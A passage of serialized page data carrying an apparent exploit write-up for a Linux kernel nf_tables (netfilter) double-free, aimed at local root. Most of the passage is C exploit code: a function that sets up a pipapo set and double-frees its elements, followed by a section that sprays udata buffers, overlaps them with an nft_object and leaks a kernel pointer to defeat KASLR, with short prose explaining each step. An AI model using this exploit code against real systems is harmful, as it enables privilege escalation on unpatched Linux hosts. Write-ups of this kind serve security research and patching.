happen:",{"type":22,"tag":1867,"props":55550,"children":55551},{},[55552,55557,55562,55567],{"type":22,"tag":1871,"props":55553,"children":55554},{},[55555],{"type":27,"value":55556},"Element A gets freed",{"type":22,"tag":1871,"props":55558,"children":55559},{},[55560],{"type":27,"value":55561},"Element B gets free",{"type":22,"tag":1871,"props":55563,"children":55564},{},[55565],{"type":27,"value":55566},"Element A gets freed again (double-free)",{"type":22,"tag":1871,"props":55568,"children":55569},{},[55570],{"type":27,"value":55571},"Element B gets freed again (double-free)",{"type":22,"tag":618,"props":55573,"children":55575},{"className":30424,"code":55574,"language":30426,"meta":7,"style":7},"[...]\nstatic void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)\n{\n[...]\n    // TRANSACTION 2\n[...]\n\n    // create pipapo set\n    uint8_t desc[2] = {16, 16};\n    set = create_set(\n        batch, seq++, exploit_table_name, \"pwn_set\", 0x1337,\n        NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);\n\n    // commit 2 elems to set (elems A and B that will be double-freed)\n    for (int i = 0; i \u003C 2; i++)\n    {\n        elem[i] = nftnl_set_elem_alloc();\n        memset(key, 0x41 + i, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);\n        nftnl_set_elem_add(set, elem[i]);\n    }\n[...]\n\n    // TRANSACTION 3\n[...]\n    set = nftnl_set_alloc();\n    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);\n    nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);\n    nftnl_set_set_str(set, NFTNL_SET_NAME, \"pwn_set\");\n\n    // make priv->dirty true\n    memset(key, 0xff, KEY_LEN);\n    elem[3] = nftnl_set_elem_alloc();\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n    nftnl_set_elem_add(set, elem[3]);\n[...]\n\n    // double-free commited elems\n[...]\n    nftnl_set_free(set);\n}\n[...]\n",[55576],{"type":22,"tag":257,"props":55577,"children":55578},{"__ignoreMap":7},[55579,55586,55647,55654,55661,55669,55676,55683,55691,55715,55736,55770,55831,55838,55846,55898,55905,55931,55958,55997,56026,56055,56077,56084,56091,56098,56106,56113,56121,56134,56147,56167,56174,56182,56204,56236,56281,56317,56345,56352,56359,56367,56374,56390,56397],{"type":22,"tag":264,"props":55580,"children":55581},{"class":1534,"line":1535},[55582],{"type":22,"tag":264,"props":55583,"children":55584},{"style":1539},[55585],{"type":27,"value":11616},{"type":22,"tag":264,"props":55587,"children":55588},{"class":1534,"line":1545},[55589,55594,55598,55603,55607,55612,55616,55621,55626,55630,55634,55638,55643],{"type":22,"tag":264,"props":55590,"children":55591},{"style":1539},[55592],{"type":27,"value":55593},"static void trigger_uaf(",{"type":22,"tag":264,"props":55595,"children":55596},{"style":4293},[55597],{"type":27,"value":10699},{"type":22,"tag":264,"props":55599,"children":55600},{"style":4722},[55601],{"type":27,"value":55602}," mnl_socket",{"type":22,"tag":264,"props":55604,"children":55605},{"style":4293},[55606],{"type":27,"value":11115},{"type":22,"tag":264,"props":55608,"children":55609},{"style":1549},[55610],{"type":27,"value":55611},"nl",{"type":22,"tag":264,"props":55613,"children":55614},{"style":1539},[55615],{"type":27,"value":4380},{"type":22,"tag":264,"props":55617,"children":55618},{"style":4293},[55619],{"type":27,"value":55620},"size_t",{"type":22,"tag":264,"props":55622,"children":55623},{"style":1549},[55624],{"type":27,"value":55625}," size",{"type":22,"tag":264,"props":55627,"children":55628},{"style":1539},[55629],{"type":27,"value":4380},{"type":22,"tag":264,"props":55631,"children":55632},{"style":4293},[55633],{"type":27,"value":20352},{"type":22,"tag":264,"props":55635,"children":55636},{"style":4293},[55637],{"type":27,"value":11115},{"type":22,"tag":264,"props":55639,"children":55640},{"style":1549},[55641],{"type":27,"value":55642},"msgqids",{"type":22,"tag":264,"props":55644,"children":55645},{"style":1539},[55646],{"type":27,"value":4463},{"type":22,"tag":264,"props":55648,"children":55649},{"class":1534,"line":1560},[55650],{"type":22,"tag":264,"props":55651,"children":55652},{"style":1539},[55653],{"type":27,"value":1542},{"type":22,"tag":264,"props":55655,"children":55656},{"class":1534,"line":1569},[55657],{"type":22,"tag":264,"props":55658,"children":55659},{"style":1539},[55660],{"type":27,"value":11616},{"type":22,"tag":264,"props":55662,"children":55663},{"class":1534,"line":1583},[55664],{"type":22,"tag":264,"props":55665,"children":55666},{"style":1539},[55667],{"type":27,"value":55668},"    // TRANSACTION 2\n",{"type":22,"tag":264,"props":55670,"children":55671},{"class":1534,"line":1603},[55672],{"type":22,"tag":264,"props":55673,"children":55674},{"style":1539},[55675],{"type":27,"value":11616},{"type":22,"tag":264,"props":55677,"children":55678},{"class":1534,"line":1612},[55679],{"type":22,"tag":264,"props":55680,"children":55681},{"emptyLinePlaceholder":17},[55682],{"type":27,"value":4986},{"type":22,"tag":264,"props":55684,"children":55685},{"class":1534,"line":1621},[55686],{"type":22,"tag":264,"props":55687,"children":55688},{"style":1539},[55689],{"type":27,"value":55690},"    // create pipapo set\n",{"type":22,"tag":264,"props":55692,"children":55693},{"class":1534,"line":1629},[55694,55699,55703,55707,55711],{"type":22,"tag":264,"props":55695,"children":55696},{"style":1539},[55697],{"type":27,"value":55698},"    uint8_t desc[2] = {",{"type":22,"tag":264,"props":55700,"children":55701},{"style":4344},[55702],{"type":27,"value":42162},{"type":22,"tag":264,"props":55704,"children":55705},{"style":1539},[55706],{"type":27,"value":4380},{"type":22,"tag":264,"props":55708,"children":55709},{"style":4344},[55710],{"type":27,"value":42162},{"type":22,"tag":264,"props":55712,"children":55713},{"style":1539},[55714],{"type":27,"value":17878},{"type":22,"tag":264,"props":55716,"children":55717},{"class":1534,"line":1642},[55718,55723,55727,55732],{"type":22,"tag":264,"props":55719,"children":55720},{"style":1539},[55721],{"type":27,"value":55722},"    set ",{"type":22,"tag":264,"props":55724,"children":55725},{"style":4309},[55726],{"type":27,"value":429},{"type":22,"tag":264,"props":55728,"children":55729},{"style":4401},[55730],{"type":27,"value":55731}," create_set",{"type":22,"tag":264,"props":55733,"children":55734},{"style":1539},[55735],{"type":27,"value":4767},{"type":22,"tag":264,"props":55737,"children":55738},{"class":1534,"line":1660},[55739,55744,55748,55753,55758,55762,55766],{"type":22,"tag":264,"props":55740,"children":55741},{"style":1539},[55742],{"type":27,"value":55743},"        batch, seq",{"type":22,"tag":264,"props":55745,"children":55746},{"style":4309},[55747],{"type":27,"value":52590},{"type":22,"tag":264,"props":55749,"children":55750},{"style":1539},[55751],{"type":27,"value":55752},", exploit_table_name, ",{"type":22,"tag":264,"props":55754,"children":55755},{"style":1597},[55756],{"type":27,"value":55757},"\"pwn_set\"",{"type":22,"tag":264,"props":55759,"children":55760},{"style":1539},[55761],{"type":27,"value":4380},{"type":22,"tag":264,"props":55763,"children":55764},{"style":4344},[55765],{"type":27,"value":44819},{"type":22,"tag":264,"props":55767,"children":55768},{"style":1539},[55769],{"type":27,"value":4812},{"type":22,"tag":264,"props":55771,"children":55772},{"class":1534,"line":1668},[55773,55778,55782,55787,55791,55796,55800,55804,55808,55813,55818,55822,55826],{"type":22,"tag":264,"props":55774,"children":55775},{"style":1539},[55776],{"type":27,"value":55777},"        NFT_SET_INTERVAL ",{"type":22,"tag":264,"props":55779,"children":55780},{"style":4309},[55781],{"type":27,"value":11714},{"type":22,"tag":264,"props":55783,"children":55784},{"style":1539},[55785],{"type":27,"value":55786}," NFT_SET_OBJECT ",{"type":22,"tag":264,"props":55788,"children":55789},{"style":4309},[55790],{"type":27,"value":11714},{"type":22,"tag":264,"props":55792,"children":55793},{"style":1539},[55794],{"type":27,"value":55795}," NFT_SET_CONCAT, KEY_LEN, ",{"type":22,"tag":264,"props":55797,"children":55798},{"style":4344},[55799],{"type":27,"value":3568},{"type":22,"tag":264,"props":55801,"children":55802},{"style":1539},[55803],{"type":27,"value":4380},{"type":22,"tag":264,"props":55805,"children":55806},{"style":4309},[55807],{"type":27,"value":4413},{"type":22,"tag":264,"props":55809,"children":55810},{"style":1539},[55811],{"type":27,"value":55812},"desc, ",{"type":22,"tag":264,"props":55814,"children":55815},{"style":4293},[55816],{"type":27,"value":55817},"NULL",{"type":22,"tag":264,"props":55819,"children":55820},{"style":1539},[55821],{"type":27,"value":4380},{"type":22,"tag":264,"props":55823,"children":55824},{"style":4344},[55825],{"type":27,"value":5334},{"type":22,"tag":264,"props":55827,"children":55828},{"style":1539},[55829],{"type":27,"value":55830},", NFT_OBJECT_CT_EXPECT);\n",{"type":22,"tag":264,"props":55832,"children":55833},{"class":1534,"line":1677},[55834],{"type":22,"tag":264,"props":55835,"children":55836},{"emptyLinePlaceholder":17},[55837],{"type":27,"value":4986},{"type":22,"tag":264,"props":55839,"children":55840},{"class":1534,"line":1686},[55841],{"type":22,"tag":264,"props":55842,"children":55843},{"style":4284},[55844],{"type":27,"value":55845},"    // commit 2 elems to set (elems A and B that will be double-freed)\n",{"type":22,"tag":264,"props":55847,"children":55848},{"class":1534,"line":4948},[55849,55853,55857,55861,55866,55870,55874,55878,55882,55886,55890,55894],{"type":22,"tag":264,"props":55850,"children":55851},{"style":4328},[55852],{"type":27,"value":4331},{"type":22,"tag":264,"props":55854,"children":55855},{"style":1539},[55856],{"type":27,"value":4370},{"type":22,"tag":264,"props":55858,"children":55859},{"style":4293},[55860],{"type":27,"value":20352},{"type":22,"tag":264,"props":55862,"children":55863},{"style":1539},[55864],{"type":27,"value":55865}," i ",{"type":22,"tag":264,"props":55867,"children":55868},{"style":4309},[55869],{"type":27,"value":429},{"type":22,"tag":264,"props":55871,"children":55872},{"style":4344},[55873],{"type":27,"value":4347},{"type":22,"tag":264,"props":55875,"children":55876},{"style":1539},[55877],{"type":27,"value":52554},{"type":22,"tag":264,"props":55879,"children":55880},{"style":4309},[55881],{"type":27,"value":7097},{"type":22,"tag":264,"props":55883,"children":55884},{"style":4344},[55885],{"type":27,"value":9228},{"type":22,"tag":264,"props":55887,"children":55888},{"style":1539},[55889],{"type":27,"value":52585},{"type":22,"tag":264,"props":55891,"children":55892},{"style":4309},[55893],{"type":27,"value":52590},{"type":22,"tag":264,"props":55895,"children":55896},{"style":1539},[55897],{"type":27,"value":4463},{"type":22,"tag":264,"props":55899,"children":55900},{"class":1534,"line":4957},[55901],{"type":22,"tag":264,"props":55902,"children":55903},{"style":1539},[55904],{"type":27,"value":1566},{"type":22,"tag":264,"props":55906,"children":55907},{"class":1534,"line":4980},[55908,55913,55918,55922,55927],{"type":22,"tag":264,"props":55909,"children":55910},{"style":1549},[55911],{"type":27,"value":55912},"        elem",{"type":22,"tag":264,"props":55914,"children":55915},{"style":1539},[55916],{"type":27,"value":55917},"[i] ",{"type":22,"tag":264,"props":55919,"children":55920},{"style":4309},[55921],{"type":27,"value":429},{"type":22,"tag":264,"props":55923,"children":55924},{"style":4401},[55925],{"type":27,"value":55926}," nftnl_set_elem_alloc",{"type":22,"tag":264,"props":55928,"children":55929},{"style":1539},[55930],{"type":27,"value":4977},{"type":22,"tag":264,"props":55932,"children":55933},{"class":1534,"line":4989},[55934,55939,55944,55949,55953],{"type":22,"tag":264,"props":55935,"children":55936},{"style":4401},[55937],{"type":27,"value":55938},"        memset",{"type":22,"tag":264,"props":55940,"children":55941},{"style":1539},[55942],{"type":27,"value":55943},"(key, ",{"type":22,"tag":264,"props":55945,"children":55946},{"style":4344},[55947],{"type":27,"value":55948},"0x41",{"type":22,"tag":264,"props":55950,"children":55951},{"style":4309},[55952],{"type":27,"value":10200},{"type":22,"tag":264,"props":55954,"children":55955},{"style":1539},[55956],{"type":27,"value":55957}," i, KEY_LEN);\n",{"type":22,"tag":264,"props":55959,"children":55960},{"class":1534,"line":4998},[55961,55966,55970,55974,55979,55984,55988,55993],{"type":22,"tag":264,"props":55962,"children":55963},{"style":4401},[55964],{"type":27,"value":55965},"        nftnl_set_elem_set",{"type":22,"tag":264,"props":55967,"children":55968},{"style":1539},[55969],{"type":27,"value":2660},{"type":22,"tag":264,"props":55971,"children":55972},{"style":1549},[55973],{"type":27,"value":53385},{"type":22,"tag":264,"props":55975,"children":55976},{"style":1539},[55977],{"type":27,"value":55978},"[i], NFTNL_SET_ELEM_OBJREF, ",{"type":22,"tag":264,"props":55980,"children":55981},{"style":1597},[55982],{"type":27,"value":55983},"\"pwnobj\"",{"type":22,"tag":264,"props":55985,"children":55986},{"style":1539},[55987],{"type":27,"value":4380},{"type":22,"tag":264,"props":55989,"children":55990},{"style":4344},[55991],{"type":27,"value":55992},"7",{"type":22,"tag":264,"props":55994,"children":55995},{"style":1539},[55996],{"type":27,"value":5142},{"type":22,"tag":264,"props":55998,"children":55999},{"class":1534,"line":5067},[56000,56004,56008,56012,56017,56021],{"type":22,"tag":264,"props":56001,"children":56002},{"style":4401},[56003],{"type":27,"value":55965},{"type":22,"tag":264,"props":56005,"children":56006},{"style":1539},[56007],{"type":27,"value":2660},{"type":22,"tag":264,"props":56009,"children":56010},{"style":1549},[56011],{"type":27,"value":53385},{"type":22,"tag":264,"props":56013,"children":56014},{"style":1539},[56015],{"type":27,"value":56016},"[i], NFTNL_SET_ELEM_KEY, ",{"type":22,"tag":264,"props":56018,"children":56019},{"style":4309},[56020],{"type":27,"value":4413},{"type":22,"tag":264,"props":56022,"children":56023},{"style":1539},[56024],{"type":27,"value":56025},"key, KEY_LEN);\n",{"type":22,"tag":264,"props":56027,"children":56028},{"class":1534,"line":5075},[56029,56033,56037,56041,56046,56050],{"type":22,"tag":264,"props":56030,"children":56031},{"style":4401},[56032],{"type":27,"value":55965},{"type":22,"tag":264,"props":56034,"children":56035},{"style":1539},[56036],{"type":27,"value":2660},{"type":22,"tag":264,"props":56038,"children":56039},{"style":1549},[56040],{"type":27,"value":53385},{"type":22,"tag":264,"props":56042,"children":56043},{"style":1539},[56044],{"type":27,"value":56045},"[i], NFTNL_SET_ELEM_USERDATA, ",{"type":22,"tag":264,"props":56047,"children":56048},{"style":4309},[56049],{"type":27,"value":4413},{"type":22,"tag":264,"props":56051,"children":56052},{"style":1539},[56053],{"type":27,"value":56054},"udata_buf, size);\n",{"type":22,"tag":264,"props":56056,"children":56057},{"class":1534,"line":5105},[56058,56063,56068,56072],{"type":22,"tag":264,"props":56059,"children":56060},{"style":4401},[56061],{"type":27,"value":56062},"        nftnl_set_elem_add",{"type":22,"tag":264,"props":56064,"children":56065},{"style":1539},[56066],{"type":27,"value":56067},"(set, ",{"type":22,"tag":264,"props":56069,"children":56070},{"style":1549},[56071],{"type":27,"value":53385},{"type":22,"tag":264,"props":56073,"children":56074},{"style":1539},[56075],{"type":27,"value":56076},"[i]);\n",{"type":22,"tag":264,"props":56078,"children":56079},{"class":1534,"line":5113},[56080],{"type":22,"tag":264,"props":56081,"children":56082},{"style":1539},[56083],{"type":27,"value":1674},{"type":22,"tag":264,"props":56085,"children":56086},{"class":1534,"line":5145},[56087],{"type":22,"tag":264,"props":56088,"children":56089},{"style":1539},[56090],{"type":27,"value":11616},{"type":22,"tag":264,"props":56092,"children":56093},{"class":1534,"line":5153},[56094],{"type":22,"tag":264,"props":56095,"children":56096},{"emptyLinePlaceholder":17},[56097],{"type":27,"value":4986},{"type":22,"tag":264,"props":56099,"children":56100},{"class":1534,"line":5213},[56101],{"type":22,"tag":264,"props":56102,"children":56103},{"style":1539},[56104],{"type":27,"value":56105},"    // TRANSACTION 3\n",{"type":22,"tag":264,"props":56107,"children":56108},{"class":1534,"line":10343},[56109],{"type":22,"tag":264,"props":56110,"children":56111},{"style":1539},[56112],{"type":27,"value":11616},{"type":22,"tag":264,"props":56114,"children":56115},{"class":1534,"line":10361},[56116],{"type":22,"tag":264,"props":56117,"children":56118},{"style":1539},[56119],{"type":27,"value":56120},"    set = nftnl_set_alloc();\n",{"type":22,"tag":264,"props":56122,"children":56123},{"class":1534,"line":10406},[56124,56129],{"type":22,"tag":264,"props":56125,"children":56126},{"style":4401},[56127],{"type":27,"value":56128},"    nftnl_set_set_u32",{"type":22,"tag":264,"props":56130,"children":56131},{"style":1539},[56132],{"type":27,"value":56133},"(set, NFTNL_SET_FAMILY, family);\n",{"type":22,"tag":264,"props":56135,"children":56136},{"class":1534,"line":10512},[56137,56142],{"type":22,"tag":264,"props":56138,"children":56139},{"style":4401},[56140],{"type":27,"value":56141},"    nftnl_set_set_str",{"type":22,"tag":264,"props":56143,"children":56144},{"style":1539},[56145],{"type":27,"value":56146},"(set, NFTNL_SET_TABLE, exploit_table_name);\n",{"type":22,"tag":264,"props":56148,"children":56149},{"class":1534,"line":24810},[56150,56154,56159,56163],{"type":22,"tag":264,"props":56151,"children":56152},{"style":4401},[56153],{"type":27,"value":56141},{"type":22,"tag":264,"props":56155,"children":56156},{"style":1539},[56157],{"type":27,"value":56158},"(set, NFTNL_SET_NAME, ",{"type":22,"tag":264,"props":56160,"children":56161},{"style":1597},[56162],{"type":27,"value":55757},{"type":22,"tag":264,"props":56164,"children":56165},{"style":1539},[56166],{"type":27,"value":5142},{"type":22,"tag":264,"props":56168,"children":56169},{"class":1534,"line":24845},[56170],{"type":22,"tag":264,"props":56171,"children":56172},{"emptyLinePlaceholder":17},[56173],{"type":27,"value":4986},{"type":22,"tag":264,"props":56175,"children":56176},{"class":1534,"line":24853},[56177],{"type":22,"tag":264,"props":56178,"children":56179},{"style":4284},[56180],{"type":27,"value":56181},"    // make priv->dirty true\n",{"type":22,"tag":264,"props":56183,"children":56184},{"class":1534,"line":24861},[56185,56190,56194,56199],{"type":22,"tag":264,"props":56186,"children":56187},{"style":4401},[56188],{"type":27,"value":56189},"    memset",{"type":22,"tag":264,"props":56191,"children":56192},{"style":1539},[56193],{"type":27,"value":55943},{"type":22,"tag":264,"props":56195,"children":56196},{"style":4344},[56197],{"type":27,"value":56198},"0xff",{"type":22,"tag":264,"props":56200,"children":56201},{"style":1539},[56202],{"type":27,"value":56203},", KEY_LEN);\n",{"type":22,"tag":264,"props":56205,"children":56206},{"class":1534,"line":24870},[56207,56212,56216,56220,56224,56228,56232],{"type":22,"tag":264,"props":56208,"children":56209},{"style":1549},[56210],{"type":27,"value":56211},"    elem",{"type":22,"tag":264,"props":56213,"children":56214},{"style":1539},[56215],{"type":27,"value":5045},{"type":22,"tag":264,"props":56217,"children":56218},{"style":4344},[56219],{"type":27,"value":18598},{"type":22,"tag":264,"props":56221,"children":56222},{"style":1539},[56223],{"type":27,"value":9956},{"type":22,"tag":264,"props":56225,"children":56226},{"style":4309},[56227],{"type":27,"value":429},{"type":22,"tag":264,"props":56229,"children":56230},{"style":4401},[56231],{"type":27,"value":55926},{"type":22,"tag":264,"props":56233,"children":56234},{"style":1539},[56235],{"type":27,"value":4977},{"type":22,"tag":264,"props":56237,"children":56238},{"class":1534,"line":24912},[56239,56244,56248,56252,56256,56260,56265,56269,56273,56277],{"type":22,"tag":264,"props":56240,"children":56241},{"style":4401},[56242],{"type":27,"value":56243},"    nftnl_set_elem_set",{"type":22,"tag":264,"props":56245,"children":56246},{"style":1539},[56247],{"type":27,"value":2660},{"type":22,"tag":264,"props":56249,"children":56250},{"style":1549},[56251],{"type":27,"value":53385},{"type":22,"tag":264,"props":56253,"children":56254},{"style":1539},[56255],{"type":27,"value":5045},{"type":22,"tag":264,"props":56257,"children":56258},{"style":4344},[56259],{"type":27,"value":18598},{"type":22,"tag":264,"props":56261,"children":56262},{"style":1539},[56263],{"type":27,"value":56264},"], NFTNL_SET_ELEM_OBJREF, ",{"type":22,"tag":264,"props":56266,"children":56267},{"style":1597},[56268],{"type":27,"value":55983},{"type":22,"tag":264,"props":56270,"children":56271},{"style":1539},[56272],{"type":27,"value":4380},{"type":22,"tag":264,"props":56274,"children":56275},{"style":4344},[56276],{"type":27,"value":55992},{"type":22,"tag":264,"props":56278,"children":56279},{"style":1539},[56280],{"type":27,"value":5142},{"type":22,"tag":264,"props":56282,"children":56283},{"class":1534,"line":24945},[56284,56288,56292,56296,56300,56304,56309,56313],{"type":22,"tag":264,"props":56285,"children":56286},{"style":4401},[56287],{"type":27,"value":56243},{"type":22,"tag":264,"props":56289,"children":56290},{"style":1539},[56291],{"type":27,"value":2660},{"type":22,"tag":264,"props":56293,"children":56294},{"style":1549},[56295],{"type":27,"value":53385},{"type":22,"tag":264,"props":56297,"children":56298},{"style":1539},[56299],{"type":27,"value":5045},{"type":22,"tag":264,"props":56301,"children":56302},{"style":4344},[56303],{"type":27,"value":18598},{"type":22,"tag":264,"props":56305,"children":56306},{"style":1539},[56307],{"type":27,"value":56308},"], NFTNL_SET_ELEM_KEY, ",{"type":22,"tag":264,"props":56310,"children":56311},{"style":4309},[56312],{"type":27,"value":4413},{"type":22,"tag":264,"props":56314,"children":56315},{"style":1539},[56316],{"type":27,"value":56025},{"type":22,"tag":264,"props":56318,"children":56319},{"class":1534,"line":24953},[56320,56325,56329,56333,56337,56341],{"type":22,"tag":264,"props":56321,"children":56322},{"style":4401},[56323],{"type":27,"value":56324},"    nftnl_set_elem_add",{"type":22,"tag":264,"props":56326,"children":56327},{"style":1539},[56328],{"type":27,"value":56067},{"type":22,"tag":264,"props":56330,"children":56331},{"style":1549},[56332],{"type":27,"value":53385},{"type":22,"tag":264,"props":56334,"children":56335},{"style":1539},[56336],{"type":27,"value":5045},{"type":22,"tag":264,"props":56338,"children":56339},{"style":4344},[56340],{"type":27,"value":18598},{"type":22,"tag":264,"props":56342,"children":56343},{"style":1539},[56344],{"type":27,"value":5064},{"type":22,"tag":264,"props":56346,"children":56347},{"class":1534,"line":24961},[56348],{"type":22,"tag":264,"props":56349,"children":56350},{"style":1539},[56351],{"type":27,"value":11616},{"type":22,"tag":264,"props":56353,"children":56354},{"class":1534,"line":24970},[56355],{"type":22,"tag":264,"props":56356,"children":56357},{"emptyLinePlaceholder":17},[56358],{"type":27,"value":4986},{"type":22,"tag":264,"props":56360,"children":56361},{"class":1534,"line":25046},[56362],{"type":22,"tag":264,"props":56363,"children":56364},{"style":1539},[56365],{"type":27,"value":56366},"    // double-free commited elems\n",{"type":22,"tag":264,"props":56368,"children":56369},{"class":1534,"line":25079},[56370],{"type":22,"tag":264,"props":56371,"children":56372},{"style":1539},[56373],{"type":27,"value":11616},{"type":22,"tag":264,"props":56375,"children":56376},{"class":1534,"line":25087},[56377,56382,56386],{"type":22,"tag":264,"props":56378,"children":56379},{"style":1539},[56380],{"type":27,"value":56381},"    nftnl_set_free(",{"type":22,"tag":264,"props":56383,"children":56384},{"style":4722},[56385],{"type":27,"value":52340},{"type":22,"tag":264,"props":56387,"children":56388},{"style":1539},[56389],{"type":27,"value":5142},{"type":22,"tag":264,"props":56391,"children":56392},{"class":1534,"line":25095},[56393],{"type":22,"tag":264,"props":56394,"children":56395},{"style":1539},[56396],{"type":27,"value":1692},{"type":22,"tag":264,"props":56398,"children":56399},{"class":1534,"line":25132},[56400],{"type":22,"tag":264,"props":56401,"children":56402},{"style":1539},[56403],{"type":27,"value":11616},{"type":22,"tag":181,"props":56405,"children":56407},{"id":56406},"leaking-kaslr",[56408],{"type":27,"value":56409},"Leaking KASLR",{"type":22,"tag":23,"props":56411,"children":56412},{},[56413,56415,56421,56423,56428,56430,56436,56438,56444,56446],{"type":27,"value":56414},"Tables contain an outline user data buffer ",{"type":22,"tag":257,"props":56416,"children":56418},{"className":56417},[],[56419],{"type":27,"value":56420},"udata",{"type":27,"value":56422}," that we can both read and write. By allocating a ",{"type":22,"tag":257,"props":56424,"children":56426},{"className":56425},[],[56427],{"type":27,"value":56420},{"type":27,"value":56429}," buffer on the double-free slot and then overlapping it with an ",{"type":22,"tag":257,"props":56431,"children":56433},{"className":56432},[],[56434],{"type":27,"value":56435},"nft_object",{"type":27,"value":56437}," we can leak the ",{"type":22,"tag":257,"props":56439,"children":56441},{"className":56440},[],[56442],{"type":27,"value":56443},"->ops",{"type":27,"value":56445}," pointer, and use it to calculate the KASLR slide.\n",{"type":22,"tag":215,"props":56447,"children":56449},{"alt":51899,"src":56448},"/posts/netfilter-universal-root-1-day/kaslr.png",[],{"type":22,"tag":618,"props":56451,"children":56453},{"className":30424,"code":56452,"language":30426,"meta":7,"style":7},"[...]\n    // spray 3 udata buffers to consume elems A, B and A again\n    udata_spray(nl, 0xe8, 0, 3, NULL);\n\n    // check if overlap happened (i.e if we have to overlapping udata buffers)\n    char spray_name[16];\n    char *udata[3];\n    for (int i = 0; i \u003C 3; i++)\n    {\n        snprintf(spray_name, sizeof(spray_name), \"spray-%i\", i);\n        udata[i] = getudata(nl, spray_name);\n    }\n    if (udata[0][0] == udata[2][0])\n    {\n        puts(\"[+] got duplicated table\");\n    }\n\n    // Replace one of the udata buffers with nft_object\n    // and read it's counterpart to leak the nft_object struct\n    puts(\"[*] Info leak\");\n    deludata_spray(nl, 0, 1);\n    wait_destroyer();\n    obj_spray(nl, 0, 1, NULL, 0);\n    uint64_t *fake_obj = (uint64_t *)getudata(nl, \"spray-2\");\n[...]\n",[56454],{"type":22,"tag":257,"props":56455,"children":56456},{"__ignoreMap":7},[56457,56464,56472,56507,56514,56522,56547,56574,56625,56632,56665,56691,56698,56763,56770,56791,56798,56805,56813,56821,56842,56871,56883,56927,56983],{"type":22,"tag":264,"props":56458,"children":56459},{"class":1534,"line":1535},[56460],{"type":22,"tag":264,"props":56461,"children":56462},{"style":1539},[56463],{"type":27,"value":11616},{"type":22,"tag":264,"props":56465,"children":56466},{"class":1534,"line":1545},[56467],{"type":22,"tag":264,"props":56468,"children":56469},{"style":1539},[56470],{"type":27,"value":56471},"    // spray 3 udata buffers to consume elems A, B and A again\n",{"type":22,"tag":264,"props":56473,"children":56474},{"class":1534,"line":1560},[56475,56480,56484,56489,56494,56499,56503],{"type":22,"tag":264,"props":56476,"children":56477},{"style":1539},[56478],{"type":27,"value":56479},"    udata_spray(",{"type":22,"tag":264,"props":56481,"children":56482},{"style":4722},[56483],{"type":27,"value":55611},{"type":22,"tag":264,"props":56485,"children":56486},{"style":1539},[56487],{"type":27,"value":56488},", 0",{"type":22,"tag":264,"props":56490,"children":56491},{"style":4722},[56492],{"type":27,"value":56493},"xe8",{"type":22,"tag":264,"props":56495,"children":56496},{"style":1539},[56497],{"type":27,"value":56498},", 0, 3, ",{"type":22,"tag":264,"props":56500,"children":56501},{"style":4722},[56502],{"type":27,"value":55817},{"type":22,"tag":264,"props":56504,"children":56505},{"style":1539},[56506],{"type":27,"value":5142},{"type":22,"tag":264,"props":56508,"children":56509},{"class":1534,"line":1569},[56510],{"type":22,"tag":264,"props":56511,"children":56512},{"emptyLinePlaceholder":17},[56513],{"type":27,"value":4986},{"type":22,"tag":264,"props":56515,"children":56516},{"class":1534,"line":1583},[56517],{"type":22,"tag":264,"props":56518,"children":56519},{"style":4284},[56520],{"type":27,"value":56521},"    // check if overlap happened (i.e if we have to overlapping udata buffers)\n",{"type":22,"tag":264,"props":56523,"children":56524},{"class":1534,"line":1603},[56525,56530,56535,56539,56543],{"type":22,"tag":264,"props":56526,"children":56527},{"style":4293},[56528],{"type":27,"value":56529},"    char",{"type":22,"tag":264,"props":56531,"children":56532},{"style":1549},[56533],{"type":27,"value":56534}," spray_name",{"type":22,"tag":264,"props":56536,"children":56537},{"style":1539},[56538],{"type":27,"value":5045},{"type":22,"tag":264,"props":56540,"children":56541},{"style":4344},[56542],{"type":27,"value":42162},{"type":22,"tag":264,"props":56544,"children":56545},{"style":1539},[56546],{"type":27,"value":32889},{"type":22,"tag":264,"props":56548,"children":56549},{"class":1534,"line":1612},[56550,56554,56558,56562,56566,56570],{"type":22,"tag":264,"props":56551,"children":56552},{"style":4293},[56553],{"type":27,"value":56529},{"type":22,"tag":264,"props":56555,"children":56556},{"style":4309},[56557],{"type":27,"value":11115},{"type":22,"tag":264,"props":56559,"children":56560},{"style":1549},[56561],{"type":27,"value":56420},{"type":22,"tag":264,"props":56563,"children":56564},{"style":1539},[56565],{"type":27,"value":5045},{"type":22,"tag":264,"props":56567,"children":56568},{"style":4344},[56569],{"type":27,"value":18598},{"type":22,"tag":264,"props":56571,"children":56572},{"style":1539},[56573],{"type":27,"value":32889},{"type":22,"tag":264,"props":56575,"children":56576},{"class":1534,"line":1621},[56577,56581,56585,56589,56593,56597,56601,56605,56609,56613,56617,56621],{"type":22,"tag":264,"props":56578,"children":56579},{"style":4328},[56580],{"type":27,"value":4331},{"type":22,"tag":264,"props":56582,"children":56583},{"style":1539},[56584],{"type":27,"value":4370},{"type":22,"tag":264,"props":56586,"children":56587},{"style":4293},[56588],{"type":27,"value":20352},{"type":22,"tag":264,"props":56590,"children":56591},{"style":1539},[56592],{"type":27,"value":55865},{"type":22,"tag":264,"props":56594,"children":56595},{"style":4309},[56596],{"type":27,"value":429},{"type":22,"tag":264,"props":56598,"children":56599},{"style":4344},[56600],{"type":27,"value":4347},{"type":22,"tag":264,"props":56602,"children":56603},{"style":1539},[56604],{"type":27,"value":52554},{"type":22,"tag":264,"props":56606,"children":56607},{"style":4309},[56608],{"type":27,"value":7097},{"type":22,"tag":264,"props":56610,"children":56611},{"style":4344},[56612],{"type":27,"value":20404},{"type":22,"tag":264,"props":56614,"children":56615},{"style":1539},[56616],{"type":27,"value":52585},{"type":22,"tag":264,"props":56618,"children":56619},{"style":4309},[56620],{"type":27,"value":52590},{"type":22,"tag":264,"props":56622,"children":56623},{"style":1539},[56624],{"type":27,"value":4463},{"type":22,"tag":264,"props"